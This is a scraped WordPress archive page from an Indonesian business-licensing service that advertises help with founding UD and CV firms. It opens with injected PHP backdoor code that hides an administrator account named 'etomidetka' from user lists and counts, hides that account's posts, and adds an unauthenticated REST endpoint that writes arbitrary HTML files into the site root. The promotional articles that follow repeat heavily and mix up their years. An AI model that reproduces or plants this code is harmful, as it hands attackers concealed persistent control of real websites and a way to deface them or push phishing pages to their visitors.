//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } Jasa Pendirian UD Madiun Archives - Jasa Izin Usaha Solo Jasa Izin Usaha Solo

Jasa Izin Usaha Solo Perizianna Usaha Terbaik Di Solo

Desember 7, 2021

3 Keuntungan Jika Anda Mendirikan Sebuah UD di Wonogiri

3 Keuntungan Jika Anda Mendirikan Sebuah UD di Wonogiri

3 Keuntungan Jika Anda Mendirikan Sebuah UD di Wonogiri

3 Keuntungan Jika Anda Mendirikan Sebuah UD di WonogiriUsaha Dagang atau yang umumnya di kenal dengan UD merupakan bentuk usaha yang terkenal di Indonesia.

Pekerjaan utama dari UD adalah membeli barang-barang lalu menjualnya lagi. Adapun tujuan utama dari UD adalah memperoleh keuntungan tanpa merubah kondisi barang yang akan maupun telah di jual.

Tidak hanya itu, UD juga memiliki beberapa keuntungan yang tidak kalah saing dari bentuk usaha lainnya. Mau tahu apa saja keuntungan mendirikan UD? Berikut ini merupakan keuntungan mendirikan UD:

Keuntungan Mendirikan UD

  • Seluruh operasional UD mudah di kelola

Badan usaha seperti UD cenderung lebih mudah untuk di kelola, karena dapat langsung di kelola dan di pantau oleh pemilik usaha.

  • Hasil penjualan UD menjadi keuntungan pribadi pemilik

Karena UD di kelola secara individu, tentu saja hasil penjualan UD menjadi keuntungan pribadi milik pengelola UD yang tentunya adalah pemilik UD.

  • Proses pendirian UD lebih cepat dan mudah

Memiliki proses pendirian yang lebih cepat dan mudah, banyak pengusaha start-up yang cenderung memilih UD sebagai kendaraan bisnis utama andalan mereka.

Biaya pendirian UD pun cukup terjangkau dan tentu saja yang paling terpenting adalah tidak menguras banyak waktu.

JASA PENDIRIAN UD MURAH!

Jika Anda mengalami kesulitan dalam mengurus pendirian UD atau Anda merasa tidak memiliki banyak waktu, tenang saja. Anda tidak perlu khawatir! Karena POPJASA akan membantu Anda mengurus pendirian UD.

Untuk informasi lebih lanjut mengenai pemesanan perizinan, pendirian atau pembuatan izin usaha, Anda dapat menghubungi kami di:

http://wa.me/6281233442301

MAKIN MUDAH! Ini Prosedur Pendirian UD Terpercaya di Boyolali

MAKIN MUDAH! Ini Prosedur Pendirian UD Terpercaya di Boyolali

MAKIN MUDAH! Ini Prosedur Pendirian UD Terpercaya di Boyolali – Anda pemilik UD yang sudah cukup berkembang, namun belum kunjung mengantongi izin usaha?

Padahal UD  yang Anda dirikan selain sudah cukup berkembang, tetapi juga sudah di kenal oleh banyak orang, bahkan pelanggan setia pun setiap hari berdatangan?

Wah hati-hati ya! Sekalipun UD merupakan bentuk usaha yang tidak terlalu besar karena sifatnya yang di dirikan secara perorangan, namun UD tetap membutuhkan izin usaha.

Jangan sampai Anda melakukan operasional UD , tanpa memiliki izin usaha nya. Sebab hal itu bisa berakibat fatal yakni dengan sanksi penutupan UD sekaligus, lho!

Tentu Anda tidak ingin bukan jika usaha yang telah susah payah dan penuh perjuangan Anda dirikan, harus berhenti secara paksa karena tidak mengantongi perizinan?

Namun sebelum itu, catat terlebih dahulu ya apa saja syarat-syarat yang harus Anda siapkan untuk mengurus perizinan UD . Yuk simak di bawah ini!

Syarat Urus Izin Usaha UD

Secara umum, jika Anda ingin mengurus perizinan UD maka Anda akan di minta untuk melengkapi syarat-syarat pengurusannya seperti berikut:

  • Fotokopi KTP (Kartu Tanda Penduduk) milik pendiri UD (minimal 1 orang)
  • Fotokopi NPWP pribadi milik pendiri UD (minimal 1 orang)
  • Surat kepemilikan tempat usaha (bisa berupa sertifikat/petok D/ jual beli) jika ada lalu di fotokopi

Dokumen-dokumen ini juga berlaku jika Anda mengurus perizinan UD di POPJASA  ya! Jadi upayakan untuk melengkapi terlebih dahulu dokumen-dokumen pendukung, sebelum fokus mengurus perizinan UD .

Sampai sini kira-kira sudah cukup paham bukan? Jika masih belum paham atau Anda merasa sangat kesulitan mengurusnya sendiri, maka tanpa perlu menunggu lagi langsung saja hubungi POPJASA  !

Kenapa harus mengurus perizinan usaha di POPJASA  ?

Sebab POPJASA  merupakan konsultan perizinan dan pendirian usaha terbaik yang telah berpengalaman sejak tahun 2010 dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia yang membutuhkan perizinan usaha!

Jadi apalagi yang Anda tunggu? Yuk segera hubungi POPJASA  dan konsultasikan segala hal mengenai proses pengurusan perizinan UD Anda di POPJASA  !

  • Phone: (031) 5917359
  • Telp/WA : 081229995779  
  • Email: popjasa@gmail.com

http://wa.me/6281233442301

MAKIN MUDAH! Ini Prosedur Pendirian UD Terpercaya di Karanganyar

Filed under: Bikin UD — Tag: , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , — jasaizinsolo @ 6:41 am

MAKIN MUDAH! Ini Prosedur Pendirian UD Terpercaya di Karanganyar

MAKIN MUDAH! Ini Prosedur Pendirian UD Terpercaya di Karanganyar – Anda pemilik UD yang sudah cukup berkembang, namun belum kunjung mengantongi izin usaha?

Padahal UD  yang Anda dirikan selain sudah cukup berkembang, tetapi juga sudah di kenal oleh banyak orang, bahkan pelanggan setia pun setiap hari berdatangan?

Wah hati-hati ya! Sekalipun UD merupakan bentuk usaha yang tidak terlalu besar karena sifatnya yang di dirikan secara perorangan, namun UD tetap membutuhkan izin usaha.

Jangan sampai Anda melakukan operasional UD , tanpa memiliki izin usaha nya. Sebab hal itu bisa berakibat fatal yakni dengan sanksi penutupan UD sekaligus, lho!

Tentu Anda tidak ingin bukan jika usaha yang telah susah payah dan penuh perjuangan Anda dirikan, harus berhenti secara paksa karena tidak mengantongi perizinan?

Namun sebelum itu, catat terlebih dahulu ya apa saja syarat-syarat yang harus Anda siapkan untuk mengurus perizinan UD . Yuk simak di bawah ini!

Syarat Urus Izin Usaha UD

Secara umum, jika Anda ingin mengurus perizinan UD maka Anda akan di minta untuk melengkapi syarat-syarat pengurusannya seperti berikut:

  • Fotokopi KTP (Kartu Tanda Penduduk) milik pendiri UD (minimal 1 orang)
  • Fotokopi NPWP pribadi milik pendiri UD (minimal 1 orang)
  • Surat kepemilikan tempat usaha (bisa berupa sertifikat/petok D/ jual beli) jika ada lalu di fotokopi

Dokumen-dokumen ini juga berlaku jika Anda mengurus perizinan UD di POPJASA  ya! Jadi upayakan untuk melengkapi terlebih dahulu dokumen-dokumen pendukung, sebelum fokus mengurus perizinan UD .

Sampai sini kira-kira sudah cukup paham bukan? Jika masih belum paham atau Anda merasa sangat kesulitan mengurusnya sendiri, maka tanpa perlu menunggu lagi langsung saja hubungi POPJASA  !

Kenapa harus mengurus perizinan usaha di POPJASA  ?

Sebab POPJASA  merupakan konsultan perizinan dan pendirian usaha terbaik yang telah berpengalaman sejak tahun 2010 dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia yang membutuhkan perizinan usaha!

Jadi apalagi yang Anda tunggu? Yuk segera hubungi POPJASA  dan konsultasikan segala hal mengenai proses pengurusan perizinan UD Anda di POPJASA  !

  • Phone: (031) 5917359
  • Telp/WA: 081229995779
  • Email: popjasa@gmail.com

http://wa.me/6281233442301

Apa Saja Syarat Pendirian UD Resmi Tahun 2024 di Sragen

Filed under: Jasa Pegurusan UD — Tag: , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , — jasaizinsolo @ 6:33 am

Apa Saja Syarat Pendirian UD Resmi Tahun 2022 di SragenApa Saja Syarat Pendirian UD Resmi Tahun 2024 di SragenMemiliki usaha berupa UD atau Usaha Dagang yang sudah cukup berkembang bahkan sampai memiliki banyak pelanggan?

Namun di balik itu semua, Anda justru merasa tidak tenang karena belum mengantongi perizinan?

Wah! Jika demikian adanya, maka Anda harus segera mengurus perizinan ya!

Jika Anda tidak tahu bagaimana dan di mana mengurus perizinan UD Anda, maka Anda tidak perlu khawatir! Sebab Anda bisa mengurus perizinan UD Anda di POPJASA!

Namun sebelum itu, kita kupas tuntas terlebih dahulu apa saja syarat-syarat yang harus Anda siapkan ketika ingin mengurus perizinan UD . Simak baik-baik penjelasannya di artikel yang satu ini ya!

Syarat Jasa Pengurusan Perizinan UD

Secara umum, jika Anda ingin mengurus perizinan UD maka Anda akan di minta untuk melengkapi beberapa dokumen pendukung seperti sebagai berikut:

  • Fotokopi KTP (Kartu Tanda Penduduk) milik pendiri UD (minimal milik 1 (satu) orang pendiri)
  • Fotokopi NPWP (Nomor Pokok Wajib Pajak) pribadi milik pendiri UD (minimal milik 1 (satu) orang pendiri)
  • Surat kepemilikan tempat usaha (bisa berupa sertifikat/petok D/jual beli) jika ada lalu di fotokopi

Dokumen-dokumen ini juga berlaku jika Anda mengurus perizinan UD di POPJASA ya! Jadi upayakan untuk melengkapi terlebih dahulu dokumen-dokumen pendukung, sebelum fokus mengurus perizinan UD .

Sampai sini kira-kira sudah cukup paham bukan? Jika masih belum paham atau Anda merasa sangat kesulitan mengurusnya sendiri, maka tanpa perlu menunggu lagi langsung saja hubungi POPJASA!

Kenapa harus mengurus perizinan usaha di POPJASA?

Sebab POPJASA merupakan konsultan perizinan dan pendirian usaha terbaik yang telah berpengalaman sejak tahun 2010 dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia yang membutuhkan perizinan usaha!

Jadi apalagi yang Anda tunggu? Yuk segera hubungi POPJASA dan konsultasikan segala hal mengenai proses pengurusan perizinan UD Anda di POPJASA!

  • Phone: (031) 5917359
  • Telp/WA: 081229995779
  • Email: popjasa@gmail.com

http://wa.me/6281233442301

Juli 12, 2021

Jenis-Jenis Persekutuan Komanditer (CV) Di Madiun

Jenis-Jenis Persekutuan Komanditer (CV) Di Madiun

Jenis-Jenis Persekutuan Komanditer CV Di MadiunCV merupakan badan usaha yang cukup populer, khususnya bagi para pengusaha di Indonesia. Lebih akrab di kenal dengan sebutan Persekutuan Komanditer, CV sebenarnya merupakan singkatan dari Commanditaire Vennootschaap.

CV berdiri sebagai badan usaha bukan berbentuk hukum yang mana dalam proses pendiriannya di butuhkan minimal 2 (dua) orang pendiri yang kemudian di namakan sebagai sekutu.

Adapun maksud dari sekutu yakni sekutu aktif dan sekutu pasif. Sekutu aktif merupakan sekutu yang menjalankan dan mewakili CV, sedangkan sekutu pasif merupakan sekutu yang hanya memberikan modal bagi CV.

Meskipun dalam pengoperasionalan CV di kenal mudah dan sederhana, tetapi dalam praktiknya ternyata CV memiliki berbagai macam jenis.

Jenis-jenis CV tersebut di bedakan berdasarkan 2 hal, yakni berdasarkan perkembangan dan berdasarkan hubungan CV terhadap pihak ketiga.

Jenis-Jenis CV Terbagi Menjadi 3, Yakni : 

  • CV Murni

Dalam CV Murni, perusahaan terdiri atas satu sekutu aktif dan beberapa sekutu pasif. Artinya, CV di dominasi oleh sekutu pasif, yang hanya memberikan modal saja. CV Murni merupakan bentuk awal dan paling sederhana dari CV.

  • CV Campuran

Pada umumnya CV Campuran berasal dari Persekutuan Firma yang sedang membutuhkan suntikan modal. Jika ada pihak yang bersedia memberikan suntikan modal, maka umumnya akan berperan sebagai sekutu komanditer.

Sedangkan pihak Persekutuan Firma yang memperoleh suntikan modal, akan berperan sebagai sekutu komplementer.

  • CV Bersaham

CV dengan jenis bersaham memiliki ciri khas yaitu dikeluarkannya saham yang bisa diambil masing-masing oleh sekutu komplementer dan komanditer. Hanya saja saham yang di keluarkan ini tidak bisa di perjual belikan.

Sedangkan jika berdasarkan hubungan CV terhadap pihak ketiga yang sifatnya lebih kepada teknis operasional, terdapat jenis-jenis CV yang terbagi menjadi :

  • CV Diam-diam

Umumnya CV Diam-diam tidak akan menampakkan dirinya pada pihak ketiga sebagai suatu CV. Dan pihak ketiga pun akan melihat CV sebatas UD (Usaha Dagang) atau Firma.

Namun sebenarnya di dalam operasional perusahaan, telah terdapat pembagian wewenang berdasarkan sekutu aktif dan sekutu pasif.

  • CV Terang-terangan

Berbanding terbalik dengan CV Diam-diam, CV Terang-terangan sudah jelas akan memperlihatkan kepada pihak ketiga bahwa dirinya merupakan badan usaha berbentuk CV.

Hal ini di tunjukkan mulai dari Akta Pendirian yang telah terdaftar, adanya papan nama perusahaan, surat menyurat atasnama CV dan lain sebagainya.

Nah! Sampai sini sudah cukup paham bukan dengan apa saja jenis-jenis CV yang ada di Indonesia?

Jika Anda berkeinginan untuk mengurus pendirian CV namun terkendala waktu dan biaya, maka anda bisa mengurus proses pendirian CV anda di POPJASA.

Kelebihan POPJASA

POPJASA memiliki beberapa kelebihan yaitu :

    1. POPJASA memberikan pelayanan  kepada klien yang bersifat transparan sehingga tidak akan menutupi alur proses pengurusan dari awal klien menghubungi Sales POPJASA. Sehingga dengan begitu POPJASA tidak akan membuat klien merasa tertipu, karena POPJASA sudah memberikan rincian jelasnya secara transparan.
    2. POPJASA akan selalu memantau Sales selama proses perizinan usaha berlangsung tidak berhenti. Sales POPJASA akan selalu memberikan pendampingan penuh kepada klien dan turut memberi informasi terbaru mengenai Jenis-Jenis CV di Indonesia.
    3. POPJASA memiliki cabang dimana-mana, khususnya di kota-kota besar. Sehingga klien tidak akan kesulitan untuk datang ke kantor POPJASA dan memantau langsung perkembangan terkini seputar perizinan usahanya.
    4. POPJASA akan selalu menjaga komunikasi dengan klien baik itu klien baru maupun yang sudah memesan lebih dulu (klien lama). POPJASA memastikan akan selalu menjaga komunikasi dengan sebaik mungkin oleh seluruh kliennya.
      Baca Juga :  Syarat  Pengurusan PT Di Yogyakarta

Untuk informasi lebih lanjut mengenai pemesanan perizinan, pendirian atau pembuatan izin usaha, Anda dapat menghubungi kami di :

Coverage Area Kantor CABANG POPJASA:

1. Jasa Pengurusan CV Blora
2. Jasa Pengurusan CV Boyolali
3. Jasa Pengurusan CV Karanganyar
4. Jasa Pengurusan CV Klaten
5. Jasa Pengurusan CV Salatiga
6. Jasa Pengurusan CV Sukoharjo
7. Jasa Pengurusan CV Surakarta
8. Jasa Pengurusan CV Sragen
9. Jasa Pengurusan CV Wonogiri

Ruko Mezzanine Blok A Nomer 10, Jl Nginden Semolo, Kec Sukolilo, Kota Surabaya, Jawa Timur 60118.

Alamat Kantor CABANG POPJASA :

Perumahan Wijaya Town Square Kav. no 14. RT 2b
Kelurahan Jatisari, Kecamatan Geger, Kabupaten Madiun

Kontak POPJASA :

  1. POPJASA juga sudah memiliki kantor cabang di beberapa kota :
    • Jasa Pendirian CV Surabaya
      Ruko Mezzanine Blok A-25, Jl. Nginden Semolo No. 38-40, Kel. Nginden Jangkungan, Kec. Sukolilo, Kota Surabaya
    • Jasa PendirianCV Malang
      Jl. Teluk Etna II No. 80A, Arjosari Kec. Blimbing Kota Malang 65126
    • Jasa Pendirian PT Mojokerto
      Jl.  Wijaya Kusuma Barat RT 01/ RW 05, Kelurahan Sooko Kecamatan Sooko, Kabupaten Mojokerto
    • Jasa Pendirian CV Pasuruan
      Jl. Raya Bajangan RT. 001 / RW 002 Desa Bajangan Kecamatan Gondang Wetan – Kab Pasuruan Kode Pos 67174
    • Jasa Pendirian CV Solo
      Jl. Adi Sumarmo No. 59, (Depan Mess Rajawali AURI) Nanasan, Malangjiwan, Kec. Colomadu, Kabupaten Karanganyar, Jawa Tengah 57177
    • Jasa Pendirian CV Yogyakarta
      Perum Nogotirto 16B, RT/RW 07/21, Jl. Nogotirto, Banyuraden, Gamping, Sleman, Yogyakarta.
    • Jasa Pendirian CV Semarang
      Merpati 2/5, Pedurungan Tengah, Kec. Pedurungan, Kota Semarang
    • Jasa Pendirian CV Bandung
      Graha Merah Putih Buah Batu Lantai 1, Jl. Terusan Buah Batu No. 33, Batununggal Kec. Bandung Kidul Kota Bandung 40266
    • Jasa Pendirian CV Bekasi
      Raya Siliwangi No.35, RT.001/RW.003, Sepanjang Jaya, Kec. Rawalumbu, Kota Bekasi
    • Jasa Pendirian CV Makassar
      Jl. BTN Minasaupa Blok AB 5 No. 11, Gn. Sari, Kec. Rappocini, Kota Makassar, Sulawesi Selatan

Juli 1, 2021

Apa Saja Syarat Pendirian UD Resmi Tahun 2022 di Salatiga

Apa Saja Syarat Pendirian UD Resmi Tahun 2022 di SalatigaApa Saja Syarat Pendirian UD Resmi Tahun 2022 di SalatigaMemiliki usaha berupa UD atau Usaha Dagang yang sudah cukup berkembang bahkan sampai memiliki banyak pelanggan?

Namun di balik itu semua, Anda justru merasa tidak tenang karena belum mengantongi perizinan?

Wah! Jika demikian adanya, maka Anda harus segera mengurus perizinan ya!

Jika Anda tidak tahu bagaimana dan di mana mengurus perizinan UD Anda, maka Anda tidak perlu khawatir! Sebab Anda bisa mengurus perizinan UD Anda di POPJASA!

Namun sebelum itu, kita kupas tuntas terlebih dahulu apa saja syarat-syarat yang harus Anda siapkan ketika ingin mengurus perizinan UD . Simak baik-baik penjelasannya di artikel yang satu ini ya!

Syarat Jasa Pengurusan Perizinan UD

Secara umum, jika Anda ingin mengurus perizinan UD maka Anda akan di minta untuk melengkapi beberapa dokumen pendukung seperti sebagai berikut:

  • Fotokopi KTP (Kartu Tanda Penduduk) milik pendiri UD (minimal milik 1 (satu) orang pendiri)
  • Fotokopi NPWP (Nomor Pokok Wajib Pajak) pribadi milik pendiri UD (minimal milik 1 (satu) orang pendiri)
  • Surat kepemilikan tempat usaha (bisa berupa sertifikat/petok D/jual beli) jika ada lalu di fotokopi

Dokumen-dokumen ini juga berlaku jika Anda mengurus perizinan UD di POPJASA ya! Jadi upayakan untuk melengkapi terlebih dahulu dokumen-dokumen pendukung, sebelum fokus mengurus perizinan UD .

Sampai sini kira-kira sudah cukup paham bukan? Jika masih belum paham atau Anda merasa sangat kesulitan mengurusnya sendiri, maka tanpa perlu menunggu lagi langsung saja hubungi POPJASA!

Kenapa harus mengurus perizinan usaha di POPJASA?

Sebab POPJASA merupakan konsultan perizinan dan pendirian usaha terbaik yang telah berpengalaman sejak tahun 2010 dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia yang membutuhkan perizinan usaha!

Jadi apalagi yang Anda tunggu? Yuk segera hubungi POPJASA dan konsultasikan segala hal mengenai proses pengurusan perizinan UD Anda di POPJASA!

  • Phone: (031) 5917359
  • Telp/WA : 081229995779
  • Email: popjasa@gmail.com

 

Powered by WordPress